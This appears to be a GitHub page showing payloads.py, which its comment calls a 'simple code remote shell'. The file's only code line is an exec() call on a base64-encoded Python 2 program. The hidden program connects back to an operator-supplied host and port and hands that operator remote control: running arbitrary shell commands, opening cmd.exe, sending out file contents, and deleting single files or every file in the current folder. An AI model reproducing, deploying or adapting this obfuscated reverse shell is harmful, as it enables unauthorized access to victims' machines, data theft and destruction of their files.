-
Notifications
You must be signed in to change notification settings - Fork 0
/
payloads.py
4 lines (3 loc) · 14 KB
/
payloads.py
1
2
3
4
#!/usr/bin/python
# simple code remote shell
exec('CiMhL3Vzci9iaW4vcHl0aG9uCmltcG9ydCBzb2NrZXQKaW1wb3J0IHN5cwppbXBvcnQgb3MKaW1w\nb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRocmVhZGluZwppbXBvcnQgcGxhdGZvcm0KCmRlZiBwMnMo\nYywgYik6CiAgICB3aGlsZSBUcnVlOgogICAgICAgIGNvbm4uc2VuZChiLnN0ZG91dC5yZWFkKDEp\nKQoKZGVmIHMycChzLCBwKToKICAgIHdoaWxlIFRydWU6CiAgICAgICAgZGF0YSA9IGNvbm4ucmVj\ndigxMDI0KQogICAgICAgIGlmIGxlbihkYXRhKSA+IDA6CiAgICAgICAgICAgIHAuc3RkaW4ud3Jp\ndGUoZGF0YSkKCmNsYXNzIE1ldGVycHJldGVyX1NoZWxsKG9iamVjdCk6CiAgICBkZWYgX19pbml0\nX18oc2VsZiwgaXBfYWRkcmVzcywgcG9ydF9hZGRyZXNzKToKICAgICAgICBzZWxmLmxvY2FsaG9z\ndCA9IGlwX2FkZHJlc3MKICAgICAgICBzZWxmLmxvY2FscG9ydCA9IGludChwb3J0X2FkZHJlc3Mp\nCiAgICAgICAgZ2xvYmFsIHMKICAgICAgICBnbG9iYWwgcAogICAgICAgIGdsb2JhbCBjCiAgICAg\nICAgZ2xvYmFsIGIKICAgICAgICBnbG9iYWwgY29ubgogICAgICAgIGNvbm4gPSBzb2NrZXQuc29j\na2V0KAogICAgICAgICAgICBzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNCiAgICAg\nICAgKQogICAgICAgIHRyeToKICAgICAgICAgICAgY29ubi5jb25uZWN0KCgKICAgICAgICAgICAg\nICAgICAgICBzZWxmLmxvY2FsaG9zdCwgc2VsZi5sb2NhbHBvcnQKICAgICAgICAgICAgICAgICkK\nICAgICAgICAgICAgKQogICAgICAgICAgICBpZiBvcy5uYW1lID09ICJudCI6CiAgICAgICAgICAg\nICAgICBwbGF0Zm9ybXMgPSBwbGF0Zm9ybS5wbGF0Zm9ybSgpCiAgICAgICAgICAgICAgICBjb25u\nLnNlbmQoIlJ1bm5pbmcgb24gIiArIHBsYXRmb3JtcykKICAgICAgICAgICAgZWxzZToKICAgICAg\nICAgICAgICAgIG9zX3N5c3RlbSA9IHBsYXRmb3JtLnBsYXRmb3JtKCkKICAgICAgICAgICAgICAg\nIGNvbm4uc2VuZCgiUnVubmluZyBvbiAiICsgb3Nfc3lzdGVtKQogICAgICAgIGV4Y2VwdCBzb2Nr\nZXQuZXJyb3IgYXMgbWVzc2FnZToKICAgICAgICAgICAgY29ubi5zZW5kKHN0cihtZXNzYWdlKSkK\nICAgICAgICAgICAgY29ubi5jbG9zZSgpCiAgICAgICAgICAgIHN5cy5leGl0KDEpCgogICAgZGVm\nIG1haW5fcHJvY2Vzc19zaGVsbChzZWxmKToKICAgICAgICBnbG9iYWwgY29ubgogICAgICAgIHRy\neToKICAgICAgICAgICAgd2hpbGUgVHJ1ZToKICAgICAgICAgICAgICAgIHJlcXVlc3Rfc2VydmVy\nID0gY29ubi5yZWN2KDQwOTYpCiAgICAgICAgICAgICAgICBpZiByZXF1ZXN0X3NlcnZlcls6Ml0g\nPT0gImNkIjoKICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgICAg\nIGRpcmVjdG9yeSA9IHJlcXVlc3Rfc2VydmVyWzM6XQogICAgICAgICAgICAgICAgICAgICAgICBv\ncy5jaGRpcihkaXJlY3RvcnkpCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbm4uc2VuZCgKICAg\nICAgICAgICAgICAgICAgICAgICAgICAgICJMb2NhdGlvbjoge2N1cnJlbnR9Ii5mb3JtYXQoCiAg\nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY3VycmVudD1vcy5nZXRjd2QoKQogICAgICAg\nICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApIAogICAgICAg\nICAgICAgICAgICAgIGV4Y2VwdCBvcy5lcnJvciBhcyBlcnJvcl9tb3ZlZDoKICAgICAgICAgICAg\nICAgICAgICAgICAgY29ubi5zZW5kKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVycm9y\nIENvZGU6IFt7Y29kZX1dIHwgTWVzc2FnZToge21lc3NhZ2V9Ii5mb3JtYXQoCiAgICAgICAgICAg\nICAgICAgICAgICAgICAgICAgICAgY29kZT1zdHIoZXJyb3JfbW92ZWRbMF0pLAogICAgICAgICAg\nICAgICAgICAgICAgICAgICAgICAgIG1lc3NhZ2U9ZXJyb3JfbW92ZWRbMV0KICAgICAgICAgICAg\nICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgKSAKICAgICAgICAgICAg\nICAgICAgICAgICAgY29udGludWUKCiAgICAgICAgICAgICAgICBlbGlmIHJlcXVlc3Rfc2VydmVy\nLnN0YXJ0c3dpdGgoIm1rZGlyIik6CiAgICAgICAgICAgICAgICAgICAgbWFrZV9mb2xkZXIgPSBy\nZXF1ZXN0X3NlcnZlcls2Ol0KICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAg\nICAgICAgICAgIG9zLm1rZGlyKGRpcmVjdG9yeSkKICAgICAgICAgICAgICAgICAgICAgICAgY29u\nbi5zZW5kKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIlN1Y2Nlc3MgY3JlYXRlZCAtPiB7\nZm9sZGVyfSIuZm9ybWF0KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbGRlcj1t\nYWtlX2ZvbGRlcgogICAgICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAg\nICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgZXhjZXB0IG9zLmVycm9yIGFzIGVycm9yX2Ny\nZWF0ZToKICAgICAgICAgICAgICAgICAgICAgICAgY29ubi5zZW5kKAogICAgICAgICAgICAgICAg\nICAgICAgICAgICAgIkVycm9yIENvZGU6IFt7Y29kZX1dIHwgTWVzc2FnZToge21lc3NhZ2V9Ii5m\nb3JtYXQoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29kZT1zdHIoZXJyb3JfY3Jl\nYXRlWzBdKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtZXNzYWdlPWVycm9yX2Ny\nZWF0ZVsxXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAg\nICAgICApCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICAgICAgICAg\nICAgZXhjZXB0IEluZGV4RXJyb3I6CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbm4uc2VuZCgK\nICAgICAgICAgICAgICAgICAgICAgICAgICAgICJVc2FnZTogbWtkaXIgW0ZvbGRlcl0iCiAgICAg\nICAgICAgICAgICAgICAgICAgICkKCiAgICAgICAgICAgICAgICBlbGlmIHJlcXVlc3Rfc2VydmVy\nID09ICJsaXN0ZGlyIjoKICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAg\nICAgICAgIGZvciBmaWxlbmFtZSBpbiBvcy5saXN0ZGlyKG9zLmdldGN3ZCgpKToKICAgICAgICAg\nICAgICAgICAgICAgICAgICAgIGlmIG9zLnBhdGguaXNmaWxlKGZpbGVuYW1lKToKICAgICAgICAg\nICAgICAgICAgICAgICAgICAgICAgICBjb25uLnNlbmQoCiAgICAgICAgICAgICAgICAgICAgICAg\nICAgICAgICAgICAgICJGaWxlIC0+IHtuYW1lfSB8IFNpemUgRmlsZSAtPiB7c2l6ZX0gQnl0ZXMi\nLmZvcm1hdCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5hbWU9Zmls\nZW5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzaXplPW9zLnBh\ndGguZ2V0c2l6ZShmaWxlbmFtZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\nKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAg\nICAgICAgIGVsaWYgb3MucGF0aC5pc2RpcihmaWxlbmFtZSk6CiAgICAgICAgICAgICAgICAgICAg\nICAgICAgICAgICAgY29ubi5zZW5kKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\nICAiRm9sZGVyIC0+IHtuYW1lfSB8IFNpemUgRmlsZSAtPiB7c2l6ZX0gQnl0ZXMiLmZvcm1hdCgK\nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5hbWU9ZmlsZW5hbWUsCiAg\nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzaXplPW9zLnBhdGguZ2V0c2l6\nZShmaWxlbmFtZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAg\nICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVs\nc2U6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29ubi5zZW5kKAogICAgICAgICAg\nICAgICAgICAgICAgICAgICAgICAgICAgICAiVW5rbm93biBGaWxlIC0+IHtuYW1lfSB8IFNpemUg\nRmlsZSAtPiB7c2l6ZX0gQnl0ZXMiLmZvcm1hdCgKICAgICAgICAgICAgICAgICAgICAgICAgICAg\nICAgICAgICAgICAgIG5hbWU9ZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\nICAgICAgICAgICBzaXplPW9zLnBhdGguZ2V0c2l6ZShmaWxlbmFtZSkKICAgICAgICAgICAgICAg\nICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICkK\nICAgICAgICAgICAgICAgICAgICBleGNlcHQgSU9FcnJvciBhcyBlcnJvcl9pbzoKICAgICAgICAg\nICAgICAgICAgICAgICAgY29ubi5zZW5kKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVy\ncm9yIENvZGU6IFt7Y29kZX1dIHwgTWVzc2FnZToge21lc3NhZ2V9Ii5mb3JtYXQoCiAgICAgICAg\nICAgICAgICAgICAgICAgICAgICAgICAgY29kZT1zdHIoZXJyb3JfaW8pLAogICAgICAgICAgICAg\nICAgICAgICAgICAgICAgICAgIG1lc3NhZ2U9ZXJyb3JfaW8KICAgICAgICAgICAgICAgICAgICAg\nICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAg\nICBjb250aW51ZQoKICAgICAgICAgICAgICAgIGVsaWYgcmVxdWVzdF9zZXJ2ZXIuc3RhcnRzd2l0\naCgiZG93bmxvYWQiKToKICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAg\nICAgICAgIGZpbGVfZG93bmxvYWQgPSByZXF1ZXN0X3NlcnZlcls5Ol0KICAgICAgICAgICAgICAg\nICAgICAgICAgaWYgb3MucGF0aC5pc2ZpbGUoZmlsZV9kb3dubG9hZCk6CiAgICAgICAgICAgICAg\nICAgICAgICAgICAgICB3aXRoIG9wZW4oZmlsZV9kb3dubG9hZCwgInIiKSBhcyBmaWxlbmFtZToK\nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3Igc2VuZGluZyBpbiBmaWxlbmFtZToK\nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFja2V0X2RhdGEgPSBzZW5kaW5n\nLnJlYWRsaW5lKCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29ubi5zZW5k\nKHBhY2tldF9kYXRhKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbm4uc2VuZCgi\nU3VjY2VzcyBEb3dubG9hZGVkIGZpbGUgLT4ge30iLmZvcm1hdChmaWxlX2Rvd25sb2FkKSkKICAg\nICAgICAgICAgICAgICAgICAgICAgZWxpZiBvcy5wYXRoLmlzZGlyKGZpbGVfZG93bmxvYWQpOgog\nICAgICAgICAgICAgICAgICAgICAgICAgICAgY29ubi5zZW5kKAogICAgICAgICAgICAgICAgICAg\nICAgICAgICAgICAgICJGYWlsZWQgZG93bmxvYWQgLT4ge2ZpbGV9IGJlY2F1c2UgaXMgZm9sZGVy\nIi5mb3JtYXQoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGU9ZmlsZV9k\nb3dubG9hZAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAg\nICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAg\nICAgICAgICAgICAgICAgIGNvbm4uc2VuZCgiSW52YWxpZCBmaWxlbmFtZSEhIikKICAgICAgICAg\nICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgZXhjZXB0IElu\nZGV4RXJyb3IgYXMgZXJyb3JfaW5kZXg6CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbm4uc2Vu\nZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJFcnJvciBDb2RlOiBbe2NvZGV9XSB8IE1l\nc3NhZ2U6IHttZXNzYWdlfSIuZm9ybWF0KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\nIGNvZGU9c3RyKGVycm9yX2luZGV4WzBdKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\nICBtZXNzYWdlPWVycm9yX2luZGV4WzFdCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApCiAg\nICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWUK\nICAgICAgICAgICAgICAgICAgICBleGNlcHQgb3MuZXJyb3IgYXMgZXJyb3JfZmlsZXM6CiAgICAg\nICAgICAgICAgICAgICAgICAgIGNvbm4uc2VuZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAg\nICJFcnJvciBDb2RlOiBbe2NvZGV9XSB8IE1lc3NhZ2U6IHttZXNzYWdlfSIuZm9ybWF0KAogICAg\nICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvZGU9c3RyKGVycm9yX2ZpbGVzWzBdKSwKICAg\nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtZXNzYWdlPWVycm9yX2ZpbGVzWzFdCiAgICAg\nICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgICAgICkKCiAgICAg\nICAgICAgICAgICBlbGlmIHJlcXVlc3Rfc2VydmVyID09ICJpbnRlcmFjdCI6CiAgICAgICAgICAg\nICAgICAgICAgaWYgb3MubmFtZSA9PSAibnQiOgogICAgICAgICAgICAgICAgICAgICAgICBwID0g\nc3VicHJvY2Vzcy5Qb3BlbihbIkM6XFdpbmRvd3NcU3lzdGVtMzJcY21kLmV4ZSJdLCBzdGRvdXQ9\nc3VicHJvY2Vzcy5QSVBFLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGRl\ncnI9c3VicHJvY2Vzcy5QSVBFLCBzdGRpbj1zdWJwcm9jZXNzLlBJUEUpCiAgICAgICAgICAgICAg\nICAgICAgICAgIHMycF90aHJlYWQgPSB0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1zMnAsIGFyZ3M9\nW3MsIHBdKQogICAgICAgICAgICAgICAgICAgICAgICBzMnBfdGhyZWFkLmRhZW1vbiA9IFRydWUK\nICAgICAgICAgICAgICAgICAgICAgICAgczJwX3RocmVhZC5zdGFydCgpCiAgICAgICAgICAgICAg\nICAgICAgICAgIHAyc190aHJlYWQgPSB0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1wMnMsIGFyZ3M9\nW2MsIGJdKQogICAgICAgICAgICAgICAgICAgICAgICBwMnNfdGhyZWFkLmRhZW1vbiA9IFRydWUK\nICAgICAgICAgICAgICAgICAgICAgICAgcDJzX3RocmVhZC5zdGFydCgpCiAgICAgICAgICAgICAg\nICAgICAgICAgIHAud2FpdCgpCgoKICAgICAgICAgICAgICAgIGVsaWYgcmVxdWVzdF9zZXJ2ZXIg\nPT0gImRlbGFsbCI6CiAgICAgICAgICAgICAgICAgICAgZm9yIGZpbGVzIGluIG9zLmxpc3RkaXIo\nb3MuZ2V0d2NkKCkpOgogICAgICAgICAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmlzZmlsZShm\naWxlcyk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvcy5yZW1vdmUoZmlsZXMpCiAgICAg\nICAgICAgICAgICAgICAgICAgICAgICBjb25uLnNlbmQoCiAgICAgICAgICAgICAgICAgICAgICAg\nICAgICAgICAgIkRlbGV0ZWQgZmlsZSA9PiB7bmFtZX0gc3VjY2VzcyIuZm9ybWF0KAogICAgICAg\nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuYW1lPWZpbGVzCiAgICAgICAgICAgICAgICAg\nICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAg\nICAgICAgICAgICAgICBlbGlmIG9zLnBhdGguaXNkaXIoZmlsZXMpOgogICAgICAgICAgICAgICAg\nICAgICAgICAgICAgY29ubi5zZW5kKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJE\nZWxldGVkIHtuYW1lfSBmYWlsZWQgKG5vdCBzdXBwb3J0ZWQgZm9sZGVyKSIuZm9ybWF0KAogICAg\nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuYW1lPWZpbGVzCiAgICAgICAgICAgICAg\nICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAg\nICAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29ubi5z\nZW5kKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJGaWxlIFVua25vd24gPT4ge25h\nbWV9IGZhaWxlZCIuZm9ybWF0KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBu\nYW1lPWZpbGVzCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAg\nICAgICAgICAgICAgICAgKQoKCiAgICAgICAgICAgICAgICBlbGlmIHJlcXVlc3Rfc2VydmVyLnN0\nYXJ0c3dpdGgoImRlbCIpOgogICAgICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAg\nICAgICAgICAgZGVsZXRlX2ZpbGVuYW1lID0gcmVxdWVzdF9zZXJ2ZXJbNDpdCiAgICAgICAgICAg\nICAgICAgICAgICAgIGlmIG9zLnBhdGguaXNmaWxlKGRlbGV0ZV9maWxlbmFtZSk6CiAgICAgICAg\nICAgICAgICAgICAgICAgICAgICBvcy5yZW1vdmUoZGVsZXRlX2ZpbGVuYW1lKQogICAgICAgICAg\nICAgICAgICAgICAgICAgICAgY29ubi5zZW5kKAogICAgICAgICAgICAgICAgICAgICAgICAgICAg\nICAgICJTdWNjZXNzIGRlbGV0ZWQgZmlsZSAtPiB7bmFtZV9maWxlfSIuZm9ybWF0KAogICAgICAg\nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuYW1lX2ZpbGU9ZGVsZXRlX2ZpbGVuYW1lCiAg\nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICAg\nICAgKQogICAgICAgICAgICAgICAgICAgICAgICBlbGlmIG9zLnBhdGguaXNkaXIoZGVsZXRlX2Zp\nbGVuYW1lKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9zLnJtZGlyKGRlbGV0ZV9maWxl\nbmFtZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbm4uc2VuZCgKICAgICAgICAgICAg\nICAgICAgICAgICAgICAgICAgICAiU3VjY2VzcyBkZWxldGVkIGZvbGRlciAtPiB7bmFtZV9mb2xk\nZXJ9Ii5mb3JtYXQoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5hbWVfZm9s\nZGVyPWRlbGV0ZV9maWxlbmFtZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAg\nICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZToK\nICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbm4uc2VuZCgKICAgICAgICAgICAgICAgICAg\nICAgICAgICAgICAgICAiU29ycnkgZmlsZSBub3Qgc3VwcG9ydCB0byB0aGlzIGFjdGlvbiEhIgog\nICAgICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBv\ncy5lcnJvciBhcyBlcnJvcl9kZWxldGU6CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbm4uc2Vu\nZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJFcnJvciBDb2RlOiBbe2NvZGV9XSB8IE1l\nc3NhZ2U6IHttZXNzYWdlfSIuZm9ybWF0KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\nIGNvZGU9c3RyKGVycm9yX2RlbGV0ZSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\nbWVzc2FnZT1lcnJvcl9kZWxldGUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAg\nICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZQogICAg\nICAgICAgICAgICAgICAgIGV4Y2VwdCBJbmRleEVycm9yOgogICAgICAgICAgICAgICAgICAgICAg\nICBjb25uLnNlbmQoIlVzYWdlOiBkZWwgW2ZpbGVuYW1lXSIpCgogICAgICAgICAgICAgICAgZWxz\nZToKICAgICAgICAgICAgICAgICAgICBwcm9jZXNzID0gc3VicHJvY2Vzcy5Qb3BlbigKICAgICAg\nICAgICAgICAgICAgICAgICAgICAgIHJlcXVlc3Rfc2VydmVyLAogICAgICAgICAgICAgICAgICAg\nICAgICAgICAgc2hlbGw9VHJ1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0ZG91dD1z\ndWJwcm9jZXNzLlBJUEUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGRlcnI9c3VicHJv\nY2Vzcy5QSVBFLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RkaW49c3VicHJvY2Vzcy5Q\nSVBFCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgIHNlbmRfcHJvY2Vz\ncyA9IHByb2Nlc3Muc3Rkb3V0LnJlYWQoKSArIHByb2Nlc3Muc3RkZXJyLnJlYWQoKQogICAgICAg\nICAgICAgICAgICAgIGNvbm4uc2VuZChzdHIoc2VuZF9wcm9jZXNzKSkKCiAgICAgICAgZXhjZXB0\nIElPRXJyb3IgYXMgbWVzc2FnZV9lcnJvcjoKICAgICAgICAgICAgY29ubi5zZW5kKAogICAgICAg\nICAgICAgICAgIkVycm9yIENvZGU6IFt7Y29kZX1dIHwgTWVzc2FnZToge21lc3NhZ2V9Ii5mb3Jt\nYXQoCiAgICAgICAgICAgICAgICAgICAgY29kZT1zdHIobWVzc2FnZV9lcnJvciksCiAgICAgICAg\nICAgICAgICAgICAgbWVzc2FnZT1tZXNzYWdlX2Vycm9yCiAgICAgICAgICAgICAgICApCiAgICAg\nICAgICAgICkKCmlmIGxlbihzeXMuYXJndikgIT0gMzoKICAgIHByaW50KAogICAgICAgICJVc2Fn\nZToge30gPGlwIGFkZHJlc3M+IDxwb3J0IGFkZHJlc3M+Ii5mb3JtYXQoCiAgICAgICAgICAgIHN5\ncy5hcmd2WzBdCiAgICAgICAgKQogICAgKQogICAgc3lzLmV4aXQoKQplbHNlOgogICAgaG9zdCA9\nIHN5cy5hcmd2WzFdCiAgICBwb3J0ID0gaW50KHN5cy5hcmd2WzJdKQogICAgc2hlbGwgPSBNZXRl\ncnByZXRlcl9TaGVsbChob3N0LCBwb3J0KQogICAgcnVuID0gdGhyZWFkaW5nLlRocmVhZCh0YXJn\nZXQ9c2hlbGwubWFpbl9wcm9jZXNzX3NoZWxsKCkpCiAgICBydW4uc2V0RGFlbW9uKFRydWUpCg=='.decode('base64'))